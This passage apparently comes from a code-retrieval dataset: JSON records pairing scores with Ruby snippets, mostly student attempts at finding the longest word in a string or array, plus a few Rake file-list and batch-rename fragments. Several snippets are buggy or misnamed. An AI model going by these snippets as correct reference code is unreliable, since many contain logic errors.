"title": "" }, { "docid": "6ab5db4285d97a9cdc99c22b15cae428", "score": "0.80522674", "text": "def linear_longest_word(arr)\n max_length=0\n max_str=arr[0]\n arr.each do |str| \n curr_length=str.length\n if curr_length>max_length\n max_length=curr_length\n max_str=str\n end\n end\n max_str\nend", "title": "" }, { "docid": "cbc6473f621c45d049bbd8004acb5415", "score": "0.8019908", "text": "def longest_string(arr)\n arr.max_by { |word| word.length }\nend", "title": "" }, { "docid": "0c2d3e05319de92a6f3084c3db542b6a", "score": "0.80156565", "text": "def longest_word(sentence)\r\n arr = sentence.split\r\n arr_length = arr.length\r\n puts(\"Array length: \" + arr_length.to_s)\r\n idx1 = 0\r\n idx2=idx1 + 1\r\n str_length1 = 0\r\n str_length2 = 0\r\n biggest = 0\r\n if arr_length == 1\r\n return arr[0]\r\n end\r\n while idx1 < arr_length\r\n while idx2 < arr_length\r\n str_length1 = arr[idx1].length\r\n str_length2 = arr[idx2].length\r\n # puts(str_length1)\r\n # puts(str_length2)\r\n if(str_length1 > str_length2)\r\n biggest = arr[idx1]\r\n idx1 = idx1 + 1\r\n idx2 = idx2 + 1\r\n # puts(biggest)\r\n else\r\n biggest = arr[idx2]\r\n idx1 = idx1 + 1\r\n idx2 = idx2 + 1\r\n # puts(biggest)\r\n end\r\n end\r\n return biggest\r\n end\r\nend", "title": "" }, { "docid": "e497a307cfb95f88daebd4b207ef1b18", "score": "0.8014477", "text": "def LongestWord(sen)\n str = sen.split(\" \")\n longest_word = str[0]\n str.each do |word|\n word.sub(/[\\w\\s]/, '')\n if longest_word.length < word.length\n longest_word = word\n end\n end\n longest_word\nend", "title": "" }, { "docid": "79733dae6727a8044a10384bd1dc8530", "score": "0.8012436", "text": "def longest_word(sentence)\n # Write your code here\n splt = sentence.split(\" \")\n len_arr =splt.map {|val| val.length}\n p len_arr\n splt[len_arr.index(len_arr.max)] #return me index of max in array\n #ONE LINE\n \nend", "title": "" }, { "docid": "12316d0a2beb338b9d9072d9fa0381b9", "score": "0.8010215", "text": "def longest_word_in_array(array)\n array.max_by{|word|word.length}\nend", "title": "" }, { "docid": "0bf65b4fb4685b9ddd1864c7b6426a46", "score": "0.800956", "text": "def find_longest_word(sentence)\n # removes special characters | sorts by length | reverses to start with the longest\n longest = sentence.split(/\\W+/).sort_by { |word| word.length }.reverse!\n longest[0]\nend", "title": "" }, { "docid": "703132a68c19da616624cbbe3cc0d6ea", "score": "0.8008553", "text": "def longest (string)\n length_string = getlength(string)\n string.each do |word|\n if word.length == length_string.max\n puts word\n end\n end\nend", "title": "" }, { "docid": "0ad7fccf4126b595bde9f24576b6663d", "score": "0.79813325", "text": "def longest_word(sentence) #def longest_word method that takes sentece as a param\r\n words = sentence.split(\" \") #split the sentence\r\n\r\n puts \"after sentence.split #{words}\" #for debug to see the array\r\n\r\n longest_word = nil #create a longest_word var set it to an empty string\r\n\r\n letter_count = 0 #create a word_count var set it to 0\r\n while letter_count < words.length #while word_count is less then the words.length\r\n # puts \"letter count == #{letter_count} words.length == #{words.length}\" #for debug to see word count + letter count\r\n current_word = words[letter_count] #create a new var current_word set it to letter returned\r\n\r\n if longest_word == nil #if the longest_word = \"\" which it does at this point\r\n\r\n longest_word = current_word #longest word = current_word\r\n puts \"==========after ln 24 longest word length, '#{longest_word.length}' ==========\"\r\n puts \"==========after ln 24 current word length, '#{current_word.length}' ==========\"\r\n elsif longest_word.length < current_word.length\r\n puts \"+++++++++++ #{current_word} ++++++++++++++\"\r\n longest_word = current_word\r\n end\r\n letter_count += 1\r\n\r\n end\r\n return longest_word\r\nend", "title": "" }, { "docid": "5099a94fac9af7a5eff1b71bbf96fa55", "score": "0.797403", "text": "def longestWord(sen)\n\tarray = []\n\tsen.gsub!(/[^0-9a-zA-Z\\s]/i, '')\n\tsen = sen.split(' ')\n\tsen.each {|word| array.push(word)}\n\tarray.sort! { |x,y| y.length <=> x.length }\n\treturn array.first\nend", "title": "" }, { "docid": "1ce85371bbbeeb68f5fab6cec6a9df37", "score": "0.7963992", "text": "def longest(stringArray)\n\tlongestString = ''\n\tstringArray.each do |word|\n\t\tif word.length > longestString.length\n\t\t\tlongestString = word\n\t\tend\n\tend\n\tp longestString\nend", "title": "" }, { "docid": "a49fe712f30b2b092bb388ad71c66b01", "score": "0.7960207", "text": "def longest_word(sentence)\n words = sentence.split(\" \") # words = \"hello, you, motherfucker\"\n\n idx = 0\n while idx < words.length # 0 < 3\n current_word = words[idx] # current_word = words[0]\n\n longest_word = \"\" # set initial longest_word as empty string.\n if current_word.length > longest_word.length\n longest_word = current_word\n end\n\n idx += 1\n end\n return longest_word\nend", "title": "" }, { "docid": "2493b7cbe20d16ee743a104258a44fc5", "score": "0.79480624", "text": "def longest_string(list_of_words)\n i=0\n long_string=list_of_words[0]\n list_of_words.each do\n if list_of_words[i].length>long_string.length\n long_string=list_of_words[i]\n end\n i+=1\n end\n return long_string\nend", "title": "" }, { "docid": "896d1faeb215bf3333ca8dbd016814eb", "score": "0.7914667", "text": "def LongestWord(sen)\n\tarr = sen.gsub(/[^a-zA-Z]+/m, ' ').strip.split(\" \")\n\tcounter = \"\" \n\t\tarr.each do |word|\n\t\t\tif word.length >= counter.length \n\t\t\t\tcounter = word \n\t\t\tend\n\t\tend\n\t\tcounter\nend", "title": "" }, { "docid": "f0967d5b49e3ecde9893523fcf4e8b6e", "score": "0.79019153", "text": "def longest_string(list_of_words)\n # Your code goes here!\n\n return list_of_words.max_by {|word| word.length}\n\n # max = nil\n #\n # if list_of_words == []\n # return max\n # else\n # max = list_of_words[0]\n # for i in 0...list_of_words.length\n # if list_of_words[i].length > max.length\n # max = list_of_words[i]\n # end\n # end\n # end\n #\n # return max\nend", "title": "" }, { "docid": "10ffc6177946eb95fbcc3ed3921bde7b", "score": "0.7885791", "text": "def longest_string(list_of_words)\n index = 0\n counter = 1\n if list_of_words == []\n return nil\n end\n until counter == list_of_words.length\n if list_of_words[index].length > list_of_words[counter].length\n counter += 1\n else\n index = counter\n counter += 1\n end\n end\n return list_of_words[index]\nend", "title": "" }, { "docid": "844a63d2ee1e87d64164eb26c4bbe10a", "score": "0.78574646", "text": "def longest_string(str)\n str = str.split(\" \")\n longest = 0\n for st in str do\n if st.length > longest\n longest = st.length\n end\n end\n return longest\nend", "title": "" }, { "docid": "0e0cbda63476279417289e8cd93e19d8", "score": "0.78421354", "text": "def longest_string(list_of_words)\n if list_of_words.length > 0\n longest_word = list_of_words[0]\n for word in list_of_words\n if word.length > longest_word.length\n longest_word = word\n end\n end\n return longest_word\n end\nend", "title": "" }, { "docid": "fd2e713edc293d9c20792df14b886e84", "score": "0.7839247", "text": "def longest_string(list_of_words)\n # Your code goes here!\n longest = list_of_words[0]\n\n list_of_words.each { |word| \n if word.length > longest.length\n longest = word\n end\n }\n\n return longest\nend", "title": "" }, { "docid": "2880973abac22e231ba10ec0e595a263", "score": "0.78282195", "text": "def longest_string(list_of_words)\n if list_of_words == []\n p nil\n else\n words_and_lengths = {}\n list_of_words.each do |word|\n words_and_lengths[word.length] = word\n end\n p words_and_lengths\n longest_length = list_of_words[0].length\n words_and_lengths.each do|length, word|\n if length > longest_length\n longest_length = length\n end\n end\n p words_and_lengths[longest_length]\n end\nend", "title": "" }, { "docid": "53b29d7c945da9ebb4ba166ff7d2c405", "score": "0.7819104", "text": "def longest_word(sentence)\n\n#split sentence in words kept in array words \nwords = sentence.split(\" \")\n\n# sets up empty variable longest_word (is this not definted already...?)\nlongest_word = nil \n\n#sets up counter, sets equal to 0 \nwords_idx = 0 \n\n#sets up while statement, constrains loops \nwhile words_idx < words.length\n#defines current words as word position in array based on counter \ncurrent_word = words[words_idx]\n\n#if the longest word is nil (it is, set equal to nil above)\nif longest_word == nil \n #then the longest word is whatever position you are at \n longest_word == current_word\n \n #if the longest word length (nil?) is less than the length of current word length \n #(remember current word is at position word_idx)\n elsif longest_word.length < current_word.length\nlongest_word = current_word \nend\n\nwords_idx += 1 \nend \n\nreturn longest_word\nend", "title": "" }, { "docid": "1946f0a107387865ccaa5e669f692750", "score": "0.78093004", "text": "def LongestWord(sen)\n arr = sen.split(\" \")\n arr.sort! { |a, b| b.length <=> a.length }\n arr[0]\n\nend", "title": "" }, { "docid": "5b18a0a64a2a11eac0b597e6e36bbaab", "score": "0.7788513", "text": "def LongestWord(sen)\n longest = \"\"\n sen.scan(/\\w+/) do |word|\n if word.length > longest.length\n longest = word\n end\n end\n \n return longest\nend", "title": "" }, { "docid": "1d2a78172701f6d3c319cca4cd9372d1", "score": "0.7786442", "text": "def longest_string(list_of_words)\n # Your code goes here!\n if list_of_words.length == 0\n \treturn nil\n end\n var = list_of_words[0]\n for i in 1 ... list_of_words.length\n \tif i == list_of_words.length\n \t\treturn var\n \telsif var.length < list_of_words[i].length\n \t\tvar = list_of_words[i]\n \tend\n \ti+=1\n end\n return var\nend", "title": "" }, { "docid": "71cc8da31efd19b6ecef6e12881c03fa", "score": "0.7779877", "text": "def longest_string(list_of_words)\n\tif list_of_words.length == 0\n\t\treturn nil\n\tend\n\ti = list_of_words[0]\n\tj = 1\n\twhile j <= list_of_words.length - 1 do\n\t\tif i.length < list_of_words[j].length\n\t\t\ti = list_of_words[j]\n\t\tend\n\t\tj = j + 1\n\tend\n\treturn i\nend", "title": "" }, { "docid": "5ba8852f0f77b6e3f38abee38192b5c2", "score": "0.77431303", "text": "def longest_word_in_array(array)\n longest_word = array[0]\n array.each {|word|\n longest_word = word if longest_word.size<word.size\n }\n longest_word\nend", "title": "" }, { "docid": "94ff576f2bed02694722e763f52e3af8", "score": "0.77177763", "text": "def longest_word_in_array(array)\n\tn = %w(here is a bunch of words of different lengths)\n\tsorted = n.sort_by! { | word | word.length }\n\tsorted.last\nend", "title": "" }, { "docid": "26ec90e73c92ed4df048b529cc51ec14", "score": "0.76743877", "text": "def longest_word(str)\n arr = str.split()\n sortedArr = arr.sort_by!(&:length).reverse! \n p sortedArr[0]\nend", "title": "" }, { "docid": "adb05e9cffb67724df6bdd1ef7a44f98", "score": "0.76679194", "text": "def longest(string)\n if string.class == String\n words = string.split(' ').sort_by! {|word| word.length}\n words.last\n else\n nil\n end\nend", "title": "" }, { "docid": "d53515967e32c540d6680ca973c28e79", "score": "0.76635617", "text": "def longest_string(list_of_words)\n long_string = list_of_words[0]\n list_of_words.each do |measure|\n if long_string.size < measure.size\n long_string = measure\n end\n\n end\n p long_string\nend", "title": "" }, { "docid": "001555fe02acb26dbe86f91c3e2f5e3a", "score": "0.76605445", "text": "def longest_two_words(string)\n string.delete!(',.?:;\"!\"')\n word_arr = string.split(\" \").sort_by { |word| word.length }.reverse!\n word_arr[0..1]\nend", "title": "" }, { "docid": "f44bad4cb591f569de0fbde81b05104e", "score": "0.7655394", "text": "def longest_string(list_of_words)\n # Your code goes here!\nend", "title": "" }, { "docid": "ecd0453f0d67297d9d3882aad267d68a", "score": "0.76499707", "text": "def longest_string(list_of_words)\n long_string = list_of_words[0]\n counter = 0\n while counter < list_of_words.length\n if long_string.length < list_of_words[counter].length\n long_string = list_of_words[counter]\n end\n counter += 1\n end\n p long_string\n #return list_of_words.sort {|x,y| y.length <=> x.length}[0]\nend", "title": "" }, { "docid": "58f7ea68b89ee27869c5a5b417523160", "score": "0.7634575", "text": "def longest_string(list_of_words)\n longest = nil\n list_of_words.each do |words|\n if longest.nil? || longest.length < words.length\n longest = words\n end\n end\nlongest\nend", "title": "" }, { "docid": "373c997d4fd94de9de791541302b2c0e", "score": "0.76305795", "text": "def longest_string(list_of_words)\n list_of_word = list_of_words.sort_by { |x| x.length }\n return list_of_word[-1]\nend", "title": "" }, { "docid": "140fde2b90b0bf695d354630b343de03", "score": "0.7623266", "text": "def longest_string(list_of_words)\n\tif list_of_words == []\n\t\treturn nil\n\telsif list_of_words == [\" \"]\n\t\treturn \" \"\n\telse\n\t\tstring_length = []\n\t\tlist_of_words.each do |string|\n\t\t\t string_length.push string.length\n\t\tend\n\t\tlist_of_words.each do |string|\n\t\t\tif string_length.max == string.length\n\t\t\t\treturn string\n\t\t\tend\n\t\tend\n\n\tend\n\nend", "title": "" }, { "docid": "a9f1e213df9c78cc3da4ceeeb3a4d800", "score": "0.761152", "text": "def longest_string(list_of_words)\n list_of_words.max { |a,b| a.size <=> b.size }\n\nend", "title": "" }, { "docid": "a81ed5091a3d9ccd28f07c4780b31304", "score": "0.76077926", "text": "def longest_string(array_of_strings)\n answer=array_of_strings.max_by(&:length)\n return answer\nend", "title": "" }, { "docid": "c8574be26f6978357b269c08abcf088e", "score": "0.76013356", "text": "def longest_string(list_of_words)\n\treturn list_of_words.max {|x,y| x.length <=> y.length}\nend", "title": "" }, { "docid": "9c1afc34a12ec9208f09a64a2dd53fa2", "score": "0.7601051", "text": "def longest_string(list_of_words)\n longest = list_of_words[0]\n list_of_words.each do |x|\n if x.length >= longest.length\n longest = x\n end\n end\n if list_of_words.empty?\n return nil\n end\nreturn longest\nend", "title": "" }, { "docid": "f56b914be8033193c12784f5ff5532be", "score": "0.7585677", "text": "def longest_string(list_of_words)\n # length = list_of_words.length\n if list_of_words == []\n return nil\n else\n return list_of_words.max_by { |x| x.length }\n end\nend", "title": "" }, { "docid": "74ffcd8eb996b9650ef54ea2c1523db8", "score": "0.75684637", "text": "def LongestString(array)\n\tlongest_string = ''\n\tarray.each do |string|\n\t\tif string.length > longest_string.length\n\t\t\tlongest_string = string\n\t\tend\n\tend\n\treturn longest_string.length\nend", "title": "" }, { "docid": "a4257fa5c5357981a12db384e9c1c84e", "score": "0.7563599", "text": "def longest_word(sentence)\n words = sentence.split\n words.sort_by!(&:length)\n words[-1]\nend", "title": "" }, { "docid": "35051497e6eb11d2b754ddbd1380316b", "score": "0.75606483", "text": "def longest_word_in_array(array)\n array.sort_by { | word | word.size }[-1]\nend", "title": "" }, { "docid": "db6457a1764cd56e73de6c570a060a2d", "score": "0.7559334", "text": "def longest_string string \n\tar = ['One','Two','Three','Four','Five']\n\tar.max_by(&:length)\nend", "title": "" }, { "docid": "a418a1b4dc94c3311a64ee866d496102", "score": "0.75565815", "text": "def english(str)\n result = []\n arr = str.split(' ')\n result << arr.uniq.group_by { |v| arr.count(v) }.max.last.join\n result << arr.max_by{ |x| x.length } \nend", "title": "" }, { "docid": "2e9fa6c73a01ccb89ddf5fdca17d99ec", "score": "0.75556755", "text": "def longest_word_in_array(array)\n array.sort_by(&:length).reverse[0]\nend", "title": "" }, { "docid": "a6eb0f565938d1c910d79a1b950d4f02", "score": "0.7549607", "text": "def get_the_shortest_word(str)\n words = str.split()\n return words.max\nend", "title": "" }, { "docid": "2659862fe798ccb6bea3dcaf9143c626", "score": "0.7548647", "text": "def longest_sentence(text)\n longest_sentence = text.split(/(?<=!|\\.|\\?)\\s/).reduce('') do |longest, current|\n if current.split.size > longest.split.size\n current\n else\n longest\n end\n end\n p longest_sentence\n p longest_sentence.split.size\nend", "title": "" }, { "docid": "5c569ea1d2980de891ebf74fe8d29f47", "score": "0.7532832", "text": "def longest(string)\n sliced = string.chars.slice_when {|a,b| a > b}.to_a\n longest = sliced.max_by {|sub_arr| sub_arr.length}.join\nend", "title": "" }, { "docid": "f6c9bf11c3a702e2dd753f5896f2e7e1", "score": "0.7532278", "text": "def longest_string(list_of_words)\n # Your code goes here!\n if list_of_words.length == 0 then return nil\n end\n longest_word = list_of_words.max_by { |x| x.length }\n return longest_word\nend", "title": "" }, { "docid": "4ebd17d8cf4fdc5cf3abf29e6da5bb76", "score": "0.75186855", "text": "def LetterCountI(str)\n largest_count = 0\n words = str.split(\" \")\n i = 0\n while i < words.length\n if count(words[i]) > largest_count\n largest_count = count(words[i])\n largest_word = words[i]\n end\n i += 1\n end\n if largest_count == 0\n return -1\n else\n return largest_word\n end\nend", "title": "" }, { "docid": "a0bdbdb45d0136fd381d6742ab702027", "score": "0.75185096", "text": "def longest_sentence(txt)\n sentence_array = txt.split('.')\n sentence_array.map! { |sentence| sentence.split('!') }\n sentence_array.flatten!\n sentence_array.map! { |sentence| sentence.split('?') }\n sentence_array.flatten!\n \n words_in_sentences = sentence_array.map { |sentence| sentence.split(' ') }\n\n longest_length = words_in_sentences[0].size\n words_in_sentences.each do |sentence|\n longest_length = sentence.size if sentence.size > longest_length\n end\n longest_sentence_array = words_in_sentences.select { |sentence| sentence.size == longest_length }[0]\n puts \"=> The longest sentence has #{longest_length} words.\"\n puts \"=> The longest sentence is:\"\n puts longest_sentence_array.join(' ')\nend", "title": "" }, { "docid": "579306dc9fd8a8908431efecec0df772", "score": "0.74996877", "text": "def longest_word(words=[])\n longest = words.inject do |memo, word|\n memo.length > word.length ? memo : word\n end\n puts longest\nend", "title": "" }, { "docid": "6aa7032aa958402e90ac42bf9da85090", "score": "0.7494911", "text": "def longest_sentence(filename)\n str = File.read(filename)\n longest = str.split(/[.!?]/).max_by { |sentence| sentence.split(' ').length }\n puts longest.strip\n puts \"\\nNumber of words: #{longest.split(' ').length}\"\nend", "title": "" }, { "docid": "827b18334fc52f1a0ffa71dec3817094", "score": "0.74928576", "text": "def longest_string(list_of_words)\n if list_of_words.size != 0\n longest_str = list_of_words.max_by{|a| a.size}\n return longest_str\n else\n end\nend", "title": "" }, { "docid": "3e688be28a55d53b1b444f39aedafdcc", "score": "0.74872386", "text": "def longest_string(list_of_words)\n longestword = list_of_words.pop\n\n\n while list_of_words.count > 0 do\n word = list_of_words.pop\n if longestword.length < word.length\n longestword = word\n end\n end\n p longestword\nend", "title": "" }, { "docid": "c43432f6ae016a9732c71f5f96a53e28", "score": "0.7485215", "text": "def longest_pali(string)\n letters = string.gsub(/\\W+/,'').split('')\n combos = []\n idx = 2\n while idx <= letters.length\n combos << letters.combination(idx).to_a\n idx += 1\n end\n longest = nil\n combos.flatten(1).each do |x|\n if (palindrome?(x.join(''))) && (longest == nil || x.length > longest.length)\n longest = x\n end\n end\n \n return longest.join('')\nend", "title": "" }, { "docid": "6dbb472bda4fd92621a6c9bd716683dc", "score": "0.7471705", "text": "def longest_string(string_array)\n string_array.max_by(&:length)\nend", "title": "" }, { "docid": "1947002f75d8846ef883a7611bccccf3", "score": "0.7470945", "text": "def longest_two_words(string)\n arr = string.split.sort_by(&:length)\n [arr[-1], arr[-2]]\nend", "title": "" }, { "docid": "3579587d6015ab95a3781c3686ae0556", "score": "0.7469825", "text": "def longest_word(sentence)\nend", "title": "" }, { "docid": "3579587d6015ab95a3781c3686ae0556", "score": "0.7469825", "text": "def longest_word(sentence)\nend", "title": "" }, { "docid": "d4a5a223d22443cd30318da8388d24aa", "score": "0.74561363", "text": "def longest_two_words(string)\n string.delete!(\",.:;?!\")\n string.split.sort_by {|x|x.length}[-2..-1]\n\nend", "title": "" }, { "docid": "461bce5dd878f4ee6c68495e239857d2", "score": "0.74516535", "text": "def longest_two_words(string)\n arr = string.split(' ')\n sorted = arr.sort_by {|str| str.length}\n sorted[-2..-1]\nend", "title": "" }, { "docid": "98945574b13171c20978386cd03c973b", "score": "0.7446249", "text": "def longest_pause(sentence)\n words = sentence.split(' ')\n longest_um = \"\"\n\n words.each do |word|\n if word[0] == 'u' && word[1] == 'm'\n word.each_char do |char|\n if char != 'u' || char != 'm'\n break\n end\n end\n \n end\n end\n return longest_um.length\nend", "title": "" }, { "docid": "d59110b27a238ea6e092b1dbf5d121b5", "score": "0.7439384", "text": "def length_of_longest_substring(str) ## Does not pass LeetCode Test\n max_longest = ''\n current_longest = ''\n str.each_char do |letter|\n current_longest = \"\" if current_longest.index(letter)\n current_longest << letter \n max_longest = current_longest if current_longest.length > max_longest.length \n end\n max_longest.length \nend", "title": "" }, { "docid": "a52c3739f91c0cb2debf541af9de5276", "score": "0.74346656", "text": "def longest_string(list_of_words)\n # Your code goes here!\n word_hash = Hash.new\n list_of_words.each do |word|\n word_hash[word] = word.length\n end\n word_length = Array.new\n word_hash.each_value do |value|\n word_length.push(value)\n end\n length_sorted = word_length.sort\n tall_one = length_sorted.last\n word_hash.key(tall_one)\nend", "title": "" }, { "docid": "c6192f903d28410f2b98c73290c167bd", "score": "0.7431248", "text": "def longest_string array\n\tarray.max_by(&:length)\nend", "title": "" }, { "docid": "9019b0911bfba249364a369c2dcd409c", "score": "0.7423601", "text": "def longest_string(array)\n\tarray.max_by(&:length)\nend", "title": "" } ]
2910ff7c7936ccc6ef234a396bdfc397
Same as +sub+ except that the original file list is modified. source://rake//lib/rake/file_list.rb258
[ { "docid": "737cddbc09b36c95a669a3f8a76bb332", "score": "0.0", "text": "def sub!(pat, rep); end", "title": "" } ]
[ { "docid": "8f04b04d7290c98bd6439d0870ba518a", "score": "0.6499746", "text": "def sub(pat, rep)\n inject(FileList.new) { |res, fn| res << fn.sub(pat,rep) }\n end", "title": "" }, { "docid": "33ec2f7dc0c3ffb52254c9e68bddf46b", "score": "0.5824883", "text": "def file_list(list)\n list = list.to_lines if list.is_a?(String)\n list.each do |item|\n item = item.to_s.chomp.strip\n self.file(item.gsub(/[\\.\\/]/, '_').to_sym, item)\n end\n end", "title": "" }, { "docid": "6c4187cbec4c43b63b99074e3615f020", "score": "0.5778558", "text": "def formatted_file_list(title, source_files); end", "title": "" }, { "docid": "c6473a7c940aa65e4436ab785f30cd2c", "score": "0.5685577", "text": "def file_list\n end", "title": "" }, { "docid": "4d4f57418a36f4c2900b3ce7762ac074", "score": "0.5679688", "text": "def listFiles\nclear\nrequire \"c:/scripts/APPS/archive/dt.rb\"\nputs \"=\"*87\n @filenames.each_with_index do |f, index|\n\t file = @@all[index][1] # @@all[index][0].include?\"#{f}\"}\n\t printf(\"%-5d%-8s%-s\", \"#{index+1}\", \"#{f}\", \"#{file}\")\n end\nend", "title": "" }, { "docid": "5108a8b83cef9cfc29fcdefcd6a37162", "score": "0.5579614", "text": "def prependFiles(file, fileList)\n\nend", "title": "" }, { "docid": "fdccee69100f9e34f89028fc815d3460", "score": "0.5533441", "text": "def listsub(args)\n load_array\n args.each { |item| \n a = get_item_subs item\n puts \"for #{item} \"\n a.each { |e| puts \" #{e[0]} #{e[1]} \" }\n }\n 0\n end", "title": "" }, { "docid": "6ebf5e7ab60eeea9ac9dba260fdac9d0", "score": "0.54834753", "text": "def batch_rename()\n include Output\n debug(\"DEBUG MODE ON\")\n debug(\"batch_rename()\")\n\nif $op.prepend == 1 or $op.append == 1\n then\n\n if ARGV[1] && ARGV[0] != nil\n $pattern = ARGV[0]\n $replacement = ARGV[1]\n elsif ARGV[0] != nil\n $replacement = ARGV[0]\n end\n\n else\n $pattern = ARGV[0]\n $replacement = ARGV[1]\n $replacement ||= ''\nend\n\n# set the switch for the Ignore Case option\n$op.ignore_case != 1 ? $pattern_re = \"/#{$pattern}/\".to_regexp : $pattern_re = \"/#{$pattern}/i\".to_regexp\n\n\ndebug(\"PATTERN: #{$pattern}\")\ndebug(\"REPLACEMENT: #{$replacement}\")\n\n case 1\n when $op.help\n print_help{exit}\n when $op.version\n print_version{exit}\n end\n\n bob = Filelist.new\n\n\n $op.all == 1 ? next : bob.pattern\n\n case 1\n when $op.upcase\n bob.upcase\n when $op.downcase\n bob.downcase\n when $op.trimt\n bob.trim\n when $op.append\n bob.xx_pend\n when $op.prepend\n bob.xx_pend\n else\n $pattern == nil ? print_usage{exit} : bob.substitute\n end\n\n bob.rename_action\n\nend", "title": "" }, { "docid": "bc4a4262794cbb026c8f6cf3d3a50100", "score": "0.5475008", "text": "def filelist(*args)\n res = FileList.new\n args.each do |arg|\n if arg.kind_of?(Regexp)\n res += FileList.new('**/*').grep(arg)\n else\n res += FileList.new(arg)\n end\n end\n res\n end", "title": "" }, { "docid": "127ce6235bd86542c257efa66bbd0178", "score": "0.54739535", "text": "def files=(_arg0); end", "title": "" }, { "docid": "9ca10b31a553ed0c2004511347bd55b4", "score": "0.5455652", "text": "def testNominalWithFilesListShort\n setupTest(:FilesList => true) do |iTasksFileName, iTicketsFileName, iLocalRepository, iFilesFileName|\n $Context[:OS_ExecAnswers] = [\n # svn up => no conflict\n [ 0, 'M SampleFile.txt' ],\n # svn ci => success\n [ 0, 'Sending SampleFile.txt\nTransmitting file data .\nCommitted revision 314.' ]\n ]\n executeProcess(\n [\n '--user', 'CommitUser',\n '--branch', 'BranchName',\n '--comment', 'CommitComment',\n '--tasksfile', iTasksFileName,\n '--ticketsfile', iTicketsFileName,\n '-f', iFilesFileName,\n '--local', iLocalRepository\n ]\n ) do |iError, iSlaveActions|\n checkCallsMatch(\n [\n [ 'query', 'svn update --accept=postpone \"File name 1\" FileName2 \"File name 3\"' ],\n [ 'query', 'svn ci --message \"CommitComment\" --username CommitUser \"File name 1\" FileName2 \"File name 3\"' ]\n ],\n $Variables[:OS_Exec]\n )\n assert_equal(@@CommonSlaveActions, iSlaveActions)\n end\n end\n end", "title": "" }, { "docid": "44522603962af4a399aa024f25c91093", "score": "0.54530114", "text": "def refresh\n super\n # Find files to remove\n files_to_remove = Set.new\n all_paths = Set.new\n each do |file|\n file.refresh\n if File.exist? file.path\n all_paths << file.path\n else\n files_to_remove << file\n @tree_signal.call(:remove, file)\n end\n end\n @files -= files_to_remove\n\n # Find files to add\n begin\n Dir.foreach(@path) do |file|\n # Skip hidden files\n next if file =~ /^\\./\n path = File.join(@path, file)\n next if @exclude_file_list.any? {|f| path[-(f.size+1)..-1] == \"/#{f}\" }\n # Skip files that we already have\n next if all_paths.include? path\n # Add the new file\n @files << if File.directory? path\n ListedDirectory.new(path, @exclude_file_list, self, &@tree_signal)\n else\n ListedFile.new(path, self, &@tree_signal)\n end\n end\n rescue Errno::ENOENT\n end\n self\n end", "title": "" }, { "docid": "afa568271aa56e7e933235892db074a5", "score": "0.5419239", "text": "def rebuild\n @files = []\n\n Dir[\"#{@local_path}**/*\"].each do |f|\n if File.file?(f)\n f = File.new(f)\n f.sub_path = f.path.gsub(@local_path, '')\n @files << f\n end\n end\n end", "title": "" }, { "docid": "1f4e590e57a9bce2799a103422517700", "score": "0.54015267", "text": "def get_list_for_search\n all_files = get_list_files_for_update\n\n all_files.each do |name|\n name.sub! /.*sources/, ''\n end\n\n return all_files\nend", "title": "" }, { "docid": "ecdbec5877953d778a7df3ccf737756b", "score": "0.5399838", "text": "def extract_files(files)\n return RubyLint::FileList.new.process(files)\n end", "title": "" }, { "docid": "b6ef30c1dde7054560109551ae8eb53c", "score": "0.539092", "text": "def update_master_files(mediaobject, files = [])\n if not files.blank?\n files.each do |part|\n logger.debug \"<< #{part} >>\"\n selected_part = nil\n mediaobject.parts.each do |current_part|\n selected_part = current_part if current_part.pid == part[:pid]\n end\n next unless not selected_part.blank?\n\n if part[:remove]\n logger.info \"<< Deleting master file #{part[:pid]} from the system >>\"\n selected_part.delete\n else\n selected_part.label = part[:label]\n selected_part.save\n end\n end\n end\n end", "title": "" }, { "docid": "06e2e76f644ffc9d306110a7c12c1b38", "score": "0.53902966", "text": "def update_with_tagged_subpaths(source_path, content, target_subpaths)\n out = target_subpaths.dup\n if content =~ /ASSET[\\s_]*TARGET[\\s:]*(\\S+[^\\n\\r]+)/\n modification_string = $1.strip.downcase\n if modification_string =~ /^add\\s+(.*)$/\n out |= paths_from($1)\n elsif modification_string =~ /^remove\\s+(.*)$/\n out -= paths_from($1)\n elsif modification_string =~ /^exactly\\s+(.*)$/\n out = paths_from($1)\n else\n out = paths_from(modification_string)\n end\n end\n out.sort\n end", "title": "" }, { "docid": "56ef2f3ae238faa591c2068f959c1df6", "score": "0.53838545", "text": "def target_files=(_); end", "title": "" }, { "docid": "d63c57a2737ae57bf78a6ac0e67baa8a", "score": "0.53741205", "text": "def files_to_run; end", "title": "" }, { "docid": "de8c72ce297a4e00058c212ccee60836", "score": "0.5373192", "text": "def unlisted\n list = []\n Dir.chdir(directory) do\n list = Dir.glob('**/*')\n end\n list - filelist\n end", "title": "" }, { "docid": "0a335c4a041395a0af1efa76486e226e", "score": "0.536807", "text": "def modified_files\n []\n end", "title": "" }, { "docid": "73303db2151b85f8c282b4134de15e7d", "score": "0.5347791", "text": "def list(file)\n puts \"NOT WORKING YET\"\n return\n name = File.basename(file)\n temp_folder = Dir.tmpdir\n FileUtils.cp_r(file,temp_folder)\n Dir.chdir(temp_folder) do\n unpack_rec(name)\n end\n folder = name.chomp('.tar')\n Dir.glob(File.join(temp_folder,folder,'**/*'))\n end", "title": "" }, { "docid": "fa9f7816b5425483fe9702e33c2bf496", "score": "0.5347518", "text": "def setupFilesList\n require 'tmpdir'\n lFilesFileName = \"#{Dir.tmpdir}/WEACE_Files_#{Thread.current.object_id}.lst\"\n File.open(lFilesFileName, 'w') do |oFile|\n oFile << 'File name 1\nFileName2\nFile name 3'\n end\n yield(lFilesFileName)\n File.unlink(lFilesFileName)\n end", "title": "" }, { "docid": "2928d87dd43e2b7052e65abb4a8db6c6", "score": "0.5337458", "text": "def testNominalWithFilesList\n setupTest(:FilesList => true) do |iTasksFileName, iTicketsFileName, iLocalRepository, iFilesFileName|\n $Context[:OS_ExecAnswers] = [\n # svn up => no conflict\n [ 0, 'M SampleFile.txt' ],\n # svn ci => success\n [ 0, 'Sending SampleFile.txt\nTransmitting file data .\nCommitted revision 314.' ]\n ]\n executeProcess(\n [\n '--user', 'CommitUser',\n '--branch', 'BranchName',\n '--comment', 'CommitComment',\n '--tasksfile', iTasksFileName,\n '--ticketsfile', iTicketsFileName,\n '--filesfile', iFilesFileName,\n '--local', iLocalRepository\n ]\n ) do |iError, iSlaveActions|\n checkCallsMatch(\n [\n [ 'query', 'svn update --accept=postpone \"File name 1\" FileName2 \"File name 3\"' ],\n [ 'query', 'svn ci --message \"CommitComment\" --username CommitUser \"File name 1\" FileName2 \"File name 3\"' ]\n ],\n $Variables[:OS_Exec]\n )\n assert_equal(@@CommonSlaveActions, iSlaveActions)\n end\n end\n end", "title": "" }, { "docid": 